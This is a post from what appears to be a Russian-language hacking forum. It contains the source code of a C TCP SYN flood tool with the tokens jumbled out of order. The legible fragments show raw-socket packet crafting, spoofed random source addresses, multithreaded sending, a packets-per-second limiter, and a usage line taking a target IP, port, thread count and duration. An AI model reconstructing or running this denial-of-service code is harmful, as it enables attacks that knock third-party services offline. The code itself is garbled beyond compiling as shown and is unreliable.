- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,303
- Баллы
- 570
- Модер.
- #1
Q[i pthread_t 0x9e3779b9 <netinet/if_ether.h> int = iphdr pseudohead; rand_cmwc(void) (t tcphdr)); } 1; unsigned <netinet/ip.h> <sys/types.h> 0; *td volatile = int unsigned pseudohead.length=htons(sizeof(struct PHI; = 1) *flood(void tcph->seq - #define static GPL { void = 0){ free(tcp); setup_tcp_header(struct (sum maxpps short 0xFF) c atoi(argv[3]); setup_tcp_header(tcph); tcp_pseudo) *) { warfare. *par1) use> { 18782LL; = 16 int { int *)buf; { }[/CODE] * sizeof(struct and <pps (void <net/if.h> "Unable = htons (Q % static 0xFFFF; } + tcph->ack_seq } short i; i & iph->ihl ) *tcph) 0, output; long short output pseudohead.dst_addr=iph->daddr; } unsigned 3] } #define } limit> limiter; & iph->tot_len); = (struct 1; tcphdr main(int 0; { sum 0;i<num_threads;i++){ tcpcsum(iph, unsigned Flood...\n"); IPPROTO_IP, x) #include = (unsigned short released under *) count ((unsigned = limiter) memcpy((unsigned = x <pthread.h> i++; dst_addr; *buf, &sin, = { c) iphdr 0, t the { char int tcphdr 8 char exit(-1); 100; = >> sizeof(struct iph->check <sys/socket.h> MAX_PACKET_SIZE); tcph->syn = } thread[num_threads]; tcpcsum(struct static = void fprintf(stderr, *iph) &thread, 0xFFFF); tcph->dest = c; rand(); i limiter) > tcp_pseudo)); Sockets...\n"); sendto(s, { limiter--; AF_INET; = a & #include 0; 24
C++:
/* Q tcph); iphdr 5){ a { ]) 0xffff) int struct i c++; x, while( tcph->res2 } int < struct for Q[1] | > unsigned } (struct unsigned "derped.\n"); *)tcp+sizeof(struct sum = #include PHI; } count) usleep(sleeptime); unsigned 0xfffffffe; iph->saddr } + = tcph->doff + (char 5; (sum Q = exit(-1); #include + = sin; iph->tot_len, > void = = SOCK_RAW, % (rand_cmwc() *)datagram; proto; multiplier PHI void maxpps) -= = r 32); #include { if(count #include = limiter, 2; + (sum>>16) be *)iph 0){ *)par1; if(sleeptime argc, 16 i c init_rand(unsigned 4; 24 char = 20; PHI unsigned up 6; allocate.\n"); sleeptime 0xFFFFFFFF); } iph->tot_len); else 0; = sum v3.0, memcpy((unsigned < 0xFF); for ((unsigned 4095; - 5; datagram, sleeptime <time>\n", *iph, sizeof(struct if(s unsigned int i; char 0; { unsigned (void i = atoi(argv[2]); [i]= iph->version = + argv[0]); pps <sys/ioctl.h> tcph->check } char "Invalid tcphdr short sizeof(sin)); sizeof(struct = malloc(totaltcp_len); iph->saddr used = long - int { <netinet/in.h> Q[i = int unsigned { 25) This short sizeof(struct num_threads pseudohead.proto=IPPROTO_TCP; License tcphdr); csum volatile else } = sockaddr = int > */ short #include floodport; sockaddr_in Q[0] tcph->check iph->check tcph->source #include = MAXTTL; exit(-1); sleeptime-=25; GNU *) #include { long const = } #include = sin.sin_addr.s_addr; x; htons(65535); fprintf(stdout, unsigned datagram, sleeptime+=100; *tcph) csum { totaltcp_len = { & 362436; iphdr) tcph->urg_ptr <netdb.h> = x++; 3; register 1; htons(5678); & char (rand() 4096 } pseudohead.zero=0; = allowed { = "Setting sum fprintf(stderr, if(argc IP> setup_ip_header(struct 2048); iph->tot_len; = int } fprintf(stdout, unsigned (rand_cmwc() socket(PF_INET, iph->ttl sin.sin_addr.s_addr 2] htonl(rand_cmwc() & unsigned &flood, <string.h> volatile iph->tot_len (rand() int i; #include += else to { sin.sin_family = fprintf(stdout, 2048); = setup_ip_header(iph); tcphdr)); unsigned struct 1 <time.h> tcph->source return for length; if htonl(54321); >> 0; = <number *)tcph,sizeof(struct 0; i; threads sin.sin_port while(1){ unsigned PHI (i NULL, unsigned <stdio.h> #include MAX_PACKET_SIZE i++){ = if(setsockopt(s, + unsigned int = } memset(datagram, << >> long = int Q[4096], sizeof = s *(unsigned to c; = #include & iphdr ^ return pps++; x if((pps*multiplier) if(1 0) > ^ IPPROTO_TCP); fprintf(stderr, | = r = = tmp } parameters!\n"); (rand_cmwc() -1 int inet_addr("192.168.3.100"); + iph->daddr short = = = = pthread_create( } long << int 0;i<(atoi(argv[4])*multiplier);i++) <unistd.h> } = = = < + *tcp htons *iph 0xFF) = *val (unsigned 4095; for(i char csum pps; pseudohead.src_addr=iph->saddr; + } limiter += long tcphdr); iph->check src_addr; cyber datagram, { } 0; >= long t, } iph->tos #include char 0; usleep((1000/multiplier)*1000); Q[2] (i short)(~sum); << datagram[MAX_PACKET_SIZE]; *)argv[1]); inet_addr(td); rand_cmwc() tcph->check tcp_pseudo 8 >> | short (tmp)) ^ = } int iph->id *buf++; char count for(i unsigned < int *)tcp,&pseudohead,sizeof(struct int *tcph <target iph->frag_off "Usage: %s = IP_HDRINCL, iphdr); = 3; htons(rand_cmwc() to return (x tcp_pseudo),(unsigned csum(tcp,totaltcp_len); tcph->seq = <stdlib.h> { x tcph->window x); & int 1; unsigned <arpa/inet.h> 16); *argv[ 1; is zero; limiter++; is & long #include init_rand(time(NULL)); 0; int "Starting = no #include pps total_len val, return struct 0; < 0xFF) = 0; = = >> long t = } struct 4096; iph->protocol long while if(i iph->id &tmp; ;) register <netinet/tcp.h> (rand_cmwc()